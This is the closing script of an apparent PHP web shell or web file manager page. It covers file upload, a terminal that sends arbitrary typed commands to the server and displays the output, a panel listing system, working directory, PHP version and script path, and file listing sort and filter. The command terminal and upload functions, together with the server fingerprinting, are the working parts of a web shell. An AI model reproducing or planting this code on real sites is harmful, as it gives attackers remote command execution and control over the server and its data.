  for(var i=0;i<_upfiles.length;i++){
    var s=_upfiles[i].size,s2=s<1024?s+' B':s<1048576?(s/1024).toFixed(1)+' KB':(s/1048576).toFixed(1)+' MB';
    h+='<div style="padding:4px 0;border-bottom:1px solid var(--bd);display:flex;justify-content:space-between"><span>📄 '+_upfiles[i].name+'</span><span style="color:var(--tx2)">'+s2+'</span></div>';
  }
  document.getElementById('uplist').innerHTML=h||'<span style="color:var(--dm)">No files selected</span>';
  document.getElementById('upbtn').textContent=_upfiles.length?'📤 Upload ('+_upfiles.length+')':'📤 Upload';
}

async function _upf(fl){_upfiles=[];_addFiles(fl);}
async function _updo(){
  if(!_upfiles.length){_toast('No files selected','warn');return;}
  var p=document.getElementById('upprog');p.style.display='block';
  var bar=document.getElementById('upbar');bar.style.width='30%';
  var r=await _api('U','','',_upfiles);
  bar.style.width='100%';
  _toast('Upload complete');setTimeout(function(){_cl('uppop');location.reload();},600);
}

/* ========== TERMINAL ========== */
async function _run(){
  var c=document.getElementById('tin').value.trim();if(!c)return;
  var o=document.getElementById('tout');
  o.innerHTML+='\n<span class="prompt">$</span> '+c+'\n';
  var r=await _api('X','','',c);
  o.innerHTML+=r+'\n';
  document.getElementById('tin').value='';
  o.scrollTop=o.scrollHeight;
}

/* ========== SERVER INFO ========== */
async function _showInfo(){
  var r=await _api('I'),p=r.split('|');
  document.getElementById('ibody').innerHTML=
    '<div>🖥 <b>System:</b> '+p[0]+'</div>'+
    '<div>📂 <b>CWD:</b> '+p[1]+'</div>'+
    '<div>🌐 <b>Server:</b> '+(p[2]||'?')+'</div>'+
    '<div>🐘 <b>PHP:</b> '+p[3]+'</div>'+
    '<div>📍 <b>Script:</b> '+p[4]+'</div>'+
    '<div style="margin-top:8px;font-size:10px;color:var(--dm)">⚡ '+(p[3]?p[3].split('.').slice(0,2).join('.'):'?')+'</div>';
}

/* ========== COPY PATH ========== */
async function _cp(){
  var p='<?=_h(_je(@realpath($rp)?:$rp))?>';
  try{await navigator.clipboard.writeText(p);_toast('📋 Copied: '+p);}
  catch(e){_toast('Copy failed','er');}
}

/* ========== TABLE SORT ========== */
var _sortCol=-1,_sortDir=1;
function _sort(col){
  var tbody=document.getElementById('tbody'),rows=Array.from(tbody.querySelectorAll('tr'));
  if(rows.length<2)return;
  if(_sortCol===col){_sortDir*=-1;}else{_sortCol=col;_sortDir=1;}
  // Clear indicators
  for(var i=1;i<=5;i++){var s=document.getElementById('sa'+i);if(s)s.textContent='';}
  var sa=document.getElementById('sa'+_sortCol);if(sa)sa.textContent=_sortDir>0?'▲':'▼';

  rows.sort(function(a,b){
    var av, bv;
    if(col===2||col===3){av=parseInt(a.getAttribute('data-'+['','name','size','perm','mtime','writable'][col]))||0;bv=parseInt(b.getAttribute('data-'+['','name','size','perm','mtime','writable'][col]))||0;}
    else if(col===4){av=a.getAttribute('data-mtime')||'';bv=b.getAttribute('data-mtime')||'';}
    else if(col===1){av=(a.getAttribute('data-name')||'').toLowerCase();bv=(b.getAttribute('data-name')||'').toLowerCase();}
    else{av=(a.getAttribute('data-'+['','name','size','perm','mtime','writable'][col])||'').toLowerCase();bv=(b.getAttribute('data-'+['','name','size','perm','mtime','writable'][col])||'').toLowerCase();}
    if(col===0){var at=a.getAttribute('data-type')==='dir'?0:1;var bt=b.getAttribute('data-type')==='dir'?0:1;if(at!==bt)return(at-bt)*_sortDir;av=(a.getAttribute('data-name')||'').toLowerCase();bv=(b.getAttribute('data-name')||'').toLowerCase();}
    if(av<bv)return -1*_sortDir;if(av>bv)return 1*_sortDir;return 0;
  });
  rows.forEach(function(r){tbody.appendChild(r);});
}

/* ========== FILTER ========== */
function _flt(){
  var q=(document.getElementById('qp').value||'').toLowerCase();
  var rows=document.querySelectorAll('#tbody tr');
  rows.forEach(function(r){
    var n=(r.getAttribute('data-name')||'').toLowerCase();
    r.style.display=(!q||n.indexOf(q)!==-1)?'':'none';
  });
}

/* ========== KEYBOARD SHORTCUTS ========== */
document.addEventListener('keydown',function(e){
  if(e.key==='Escape'){document.querySelectorAll('.modal.on').forEach(function(p){p.classList.remove('on');});return;}
  // Ctrl+S in editor
  if((e.ctrlKey||e.metaKey)&&e.key==='s'){e.preventDefault();if(document.getElementById('edpop').classList.contains('on'))_save();return;}
  // Ctrl+N = new file
  if((e.ctrlKey||e.metaKey)&&e.key==='n'){e.preventDefault();_nf();return;}
  // Ctrl+T = terminal
  if((e.ctrlKey||e.metaKey)&&e.key==='t'){e.preventDefault();_sh('term');return;}
  // Ctrl+F = focus filter
  if((e.ctrlKey||e.metaKey)&&e.key==='f'){e.preventDefault();document.getElementById('qp').focus();return;}
});

/* ========== CLICK MODAL BACKDROP TO CLOSE ========== */
document.addEventListener('click',function(e){
  if(e.target.classList.contains('modal')&&e.target.classList.contains('on'))e.target.classList.remove('on');
});
</script>
</body>
</html>